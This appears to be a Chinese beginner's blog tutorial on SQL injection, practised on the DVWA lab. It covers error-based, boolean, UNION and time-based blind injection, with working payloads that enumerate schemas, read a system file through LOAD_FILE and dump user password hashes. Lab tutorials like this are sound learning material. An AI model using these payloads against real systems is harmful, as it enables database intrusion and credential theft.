一、注入流程


注入类型:
1、基于错误的注入(错误注入思路:构造特殊sql语句,获取报错信息,确认sql注入点) 典型使用 '
2、基于布尔的注入(布尔注入思路:闭合sql语句,构造or或者and逻辑语句注释多余代码) 典型使用 ' or 1=1 -- 或者 admin' and 1=1 --
例子1: SELECT * FROM `sys_user` WHERE user_id =''OR 1=1 -- '';

例子2:SELECT * FROM `sys_user` WHERE user_name ='admin ' AND 1=1 --'';
3、基于union注入(union语句用户联合前面的select语句,合并查询更多信息,一般通过错误/布尔寻找到注入点后通过union进行查询更多信息)
例子: select[colums]from[table] or union select x , y ,z ...

4、基于时间的盲注
1、使用方法: dvwa中 sql注入页面中 
在表单中输入 1' or sleep(2) -- '

sql语句原型:
SELECT user_name,user_id FROM `sys_user` WHERE user_name ='1' OR SLEEP(2) --'';
二、一般过程:
1、猜测数据列数

2、查询数据库

实战:
A、查询表名:'UNION SELECT 1,table_name from INFORMATION_SCHEMA.tables -- ' --找敏感表名信息

B、查询数据库版本以及数据库名称:SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT VERSION(),DATABASE() FROM INFORMATION_SCHEMA.tables -- ''; --找库信息

C、查询数据库:
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT USER(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';

D、linux系统加载password信息
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT LOAD_FILE('/etc/password'),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';
渗透时转码为ASCAII HEX

3、查询数据表

实战:
查询指定表的数据列:
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sys_user' -- '';
效果

延伸:查询用户特权以及表特权
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='USER_PRIVILEGES' -- '';
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='SCHEMA_PRIVILEGES' -- '';
4、查询数据列
查询刚刚探测出来的用户数据表(直接可以查询密码,但是密码不是明文 将来怎么办,我是菜鸟还没想明白,继续学吧 mark)
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT user_name,PASSWORD FROM sys_user -- '';

5、总结:

本文详细介绍了SQL注入的四种主要类型:基于错误的注入、基于布尔的注入、基于union的注入和基于时间的盲注。同时提供了每种类型的实战案例,包括如何利用这些技术来查询数据库信息、表名、列名及具体数据。
461

被折叠的 条评论
为什么被折叠?



